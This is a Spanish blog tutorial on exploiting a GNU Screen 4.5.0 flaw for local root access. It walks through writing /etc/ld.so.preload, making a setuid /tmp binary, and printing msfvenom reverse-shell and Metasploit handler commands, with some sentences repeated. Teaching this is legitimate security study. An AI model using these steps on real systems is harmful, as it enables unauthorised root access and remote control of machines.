Antes de
empezar, se deja un enlace al bug: root exploit 4.5.0. Por hacer un resumen, el error
recae en la apertura del registro con privilegios root, dando la posibilidad de
crear un archivo cualquiera con el propietario root.
El código que se va a crear se basa en el siguiente script en bash https://www.exploit-db.com/exploits/41154/. Aquí lo vamos a implementar con un scritp en
Python (versión 3) y que permitirá ejecutar una shellcode de Metasploit y abrir una sesión
Root.
Todas
las pruebas se van a realizar en local. Vamos a explicar el funcionamiento del
script, que se pondrá luego:
Lo
primero que vamos a hacer en la en el script es crear dos archivos “
/tmp/libhax.c” y “/tmp/msf.c”.
Los compilamos
y eliminamos los archivos .c
Nos movemos al
directorio /etc y llamamos a umask 0 para establecer por defecto los permisos
de los nuevos archivos creados 0666 para los ficheros y 0777 para directorios.
Y acto seguido creamos el fichero ld.so.preload, se trata
de un archivo que cuenta con una lista de librerías (ELF) compartidas y que se
van a cargar antes del programa. Nos aprovechamos de la siguiente idea: si
puedes leer y/o escribir del directorio /etc, tienes permiso root. Este archivo tiene dentro de su lista "/tmp/libhax.so”, que ejecutara:
chown("/tmp/msf", 0, 0);
chmod("/tmp/msf", 04755);
Cambiando el propietario y los permisos del archivo “/tmp/msf”. Por último, una llamada a screen y ejecutamos el
fichero que contiene la shellcode. Dejamos un breve esquema:
Antes de pasar a ver el código, vamos a generar la shellcode con
msfvenom (parte dirigida a arquitecturas de 64 bits):
Msfvenom -p Linux/x64/shell_reverse_tcp lhost=0.0.0.0 lport=1011 -f
python
Para que nos sirva y sea reutilizable en nuestra herramienta, se ha puesto un puerto y dirección
IP fácil de detectar en la shellcode y que podamos cambiar al vuelo. En las shellcodes existen algunos caracteres no permitidos, por ejemplo \x00, así que en nuestro código usaremos un XOR encode de 64
bits y que se utiliza en Metasploit (con alguna variación).
Se usa el XOR por lo siguiente (teniendo clave: X, número: Y, resultado:
Z):
Y ^ X = Z
Z ^ X = Y
Lo que codificamos con una clave, lo descodificamos con la misma clave.
Como en estos momentos nos encontramos inmersos en un trabajo fin de
máster propuesto por Pablo Gónzalez, y que terminará en julio, a continuación,
se deja la parte del script que eleva privilegios:
Nota: en el código /tmp/msf es nombrado como /tmp/shell.
Nota: en el código /tmp/msf es nombrado como /tmp/shell.
Como primera parte se cuenta con una función que se encarga de lanzar el
script:
Seguidamente vemos la
función “task1” que se divide en 3 capturas:
Prinera parte:
En la última parte es posible que necesites agregar \x0a en la última línea, detrás de -ne quedaría "\x0a/tmp/libhax.so", para tener un nuevo salto de línea, para las pruebas que se han hecho no ha sido necesario.
Ya está todo hecho, simplemente queda ver la función “task2”, donde está el código que lanza la shell, y es el siguiente:
Ya está todo hecho, simplemente queda ver la función “task2”, donde está el código que lanza la shell, y es el siguiente:
Y por último si queréis saber cómo funciona el
encoder, se puede echar un vistazo al código que tiene Metasploit, y en el que
me he basado: xor64encoder.
Pillamos la dirección IP con ifconfig, y para
probarlo, abrimos Metasploit y escribimos:
Use exploit/multi/handler
Set payload
linux/x64/shell/reverse_tcp
Set lhost TU_IP
Exploit
Os dejo
una captura de cómo va funcionando la herramienta:
y al fin conseguimos una shell con privilegios root
en Metasploit:
También podemos meter nuestro código en el Meterpreter, como escribí en el lado del mal >> Metasploit: Cómo extender las funcionalidades de meterpreter. A continuación, dejo un vídeo de la PoC realizada en Kali, como se puede apreciar se ha realizado sobre el mismo sistema (revisar IPs de conexión), pero funciona de igual manera con distintas máquinas:
Hasta aquí llega el tutorial, seguiremos jugando con la herramienta y dándola más funcionalidad. ¡Hasta pronto!
No hay comentarios:
Publicar un comentario